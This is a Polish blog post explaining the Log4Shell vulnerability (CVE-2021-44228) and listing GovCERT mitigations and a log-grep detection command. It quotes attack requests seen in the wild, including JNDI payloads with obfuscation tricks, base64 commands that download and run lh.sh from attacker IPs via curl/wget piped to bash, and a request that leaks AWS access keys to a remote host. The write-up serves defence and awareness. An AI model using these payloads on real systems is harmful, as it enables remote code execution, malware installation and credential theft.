Kilka dni temu internet zapłonął, kiedy okazało się, że znaleziono podatność w bibliotece Log4j. Jest ona wykorzystywana w aplikacjach napisanych w Javie jako interfejs do raportowania zdarzeń systemowych lub aplikacyjnych logów bez konieczność dbania o dostęp do nich.
CVE-2021-44228
Luka w bibliotece umożliwia zdalne wykonanie kodu po stronie serwerowej na prawach aplikacji bez konieczności uwierzytelnienia. W jaki sposób? Należy przesłać do aplikacji żądanie z odpowiednim ciągiem znaków. Co ciekawe, miejsce wadliwego payloadu nie jest jedno. Może to być nagłówek User-Agent w żądaniach HTTP, parametry lub nawet formularz rejestracyjny. Typowy scenariusz ataku wygląda w sposób następujący:
- Atakujący przesyła request na endpoint logowania z niepoprawnymi danymi użytkownika jako payloadem (np. ${jndi:ldap://attackerDomain.com/attack}, gdzie podana domena należy do atakującego) , a log4j loguje całe zdarzenie,
- Luka w bibliotece log4j jest wywoływana dzięki payloadowi, a serwer przesyła żądanie do domeny atakującego poprzez JNDI (Java naming and Directory Interface)
- Odpowiedź serwera zawiera ścieżkę do zdalnego pliku klasy java, który jest wstrzykiwany do procesu serwera. Wstrzyknięty payload pozwala atakującemu na RCE.
Przykłady
W artykule cadosecurity możemy przeczytać o kilku atakach, które zostały przez nich wykryte. Jednym z nich są requesty POST, które wyglądały w sposób następujący:
POST / HTTP/1.1\r\n
User-Agent: ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}
\r\nHost: 89.188.76.250
\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
\r\nAccept-Language: en-US,en;q=0.5
\r\nAccept-Encoding: gzip, deflate
\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n
Po rozszyfrowaniu części wiadomości z Base64 dostaniemy:
wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh
Innym przykładem jest opisany przez sophos atak Kinsinga, czyli botneta związanego z wydobywaniem kryptowalut. Jego żądania GET wyglądają następująco:
GET /?x=${jndi:ldap://93[.]189[.]42.8:5557/Basic/Command/Base64/
KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgLXEgLU8tIDkzLjE4OS40Mi44L2xoLnNoKXxiYXNo}
HTTP/1.1" 200 3440 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}
://93[.]189.42.8:5557/Basic/Command/Base64/KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgL
XEgLU8tIDkzLjE4OS40Mi44L2xoLnNoKXxiYXNo}"
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://93[.]189.42.8:5557
/Basic/Command/Base64/KGN1cmwgLXMgOTMuMTg5LjQyLjgvbGguc2h8fHdnZXQgLXEgLU8tIDkzLjE4OS40M
i44L2xoLnNoKXxiYXNo}"
Podobnie jak w poprzednim przypadku, po rozszyfrowaniu dostaniemy:
(curl -s 93.189.42.8/lh.sh||wget -q -O- 93.189.42.8/lh.sh)|bash
Ponadto, sophos zaobserwował też próby ujawnienia kluczy dostępu do AWS z hosta wykorzystującego podatność Log4J przy użyciu innej techniki obfuskacji w celu uniknięcia wykrycia wywołań JNDI:
"GET /a1${${env:lsweqw:-j}ndi${env:lsweqw:-:}${env:lsweqw:-r}mi${env:lsweqw:-:}
//[MASKED_IP}/dupa123/MASKED_HOST:80/gp/${env:USER}/${env:AWS_ACCESS_KEY_ID}/
${env:AWS_SECRET_ACCESS_KEY}/dupa1234} HTTP/1.1" 302 455 "aaaaa1${${env:lsweqw:-j}
ndi${env:lsweqw:-:}${env:lsweqw:-r}mi${env:lsweqw:-:}
//1[MASKED_IP}:1099/dupa123/MASKED_HOST:80/gr/${env:USER}/${env:AWS_ACCESS_KEY_ID}/
${env:AWS_SECRET_ACCESS_KEY}/dupa1234}" "aaaaa1${${env:lsweqw:-j}ndi${env:lsweqw:-:}
${env:lsweqw:-r}mi${env:lsweqw:-:}//[MASKED_IP]/dupa123/MASKED_HOST:80/ga/${env:USER}/
${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}/dupa1234}"
Tak, tutaj byli nasi rodacy :).
Jak się bronić?
W ciągu kilku dni odkryto kilka różnych alternatyw. Govcert jako najważniejsze wyróżnia:
- przede wszystkim należy zrobić przegląd aplikacji i oprogramowania w celu sprawdzenia, czy używa ono biblioteki log4. Następnym krokiem powinna być aktualizacja WAFów, oraz samej biblioteki log4j,
- dla wersji >=2.10: ustaw
log4j2.formatMsgNoLookups
natrue
, - Dla wersji od 2.0 do 2.10.0: można całkowicie usunąć klasę LDAP z log4j wydając następujące polecenie:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
, - Dla niektórych wersji JVM możliwe jest ustawienie
com.sun.jndi.rmi.object.trustURLCodebase
icom.sun.jndi.cosnaming.object.trustURLCodebase
nafalse
, aby zniwelować lukę, - w logach serwera WWW można skontrolować próby ataku, używając następującego polecenia dla systemów unixowych:
sudo egrep -i -r '{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log/
.
Źródła
https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/
https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
https://antyweb.pl/luka-log4shell-zagrozenie-dla-popularnych-serwisow
https://news.sophos.com/en-us/2021/12/12/log4shell-hell-anatomy-of-an-exploit-outbreak/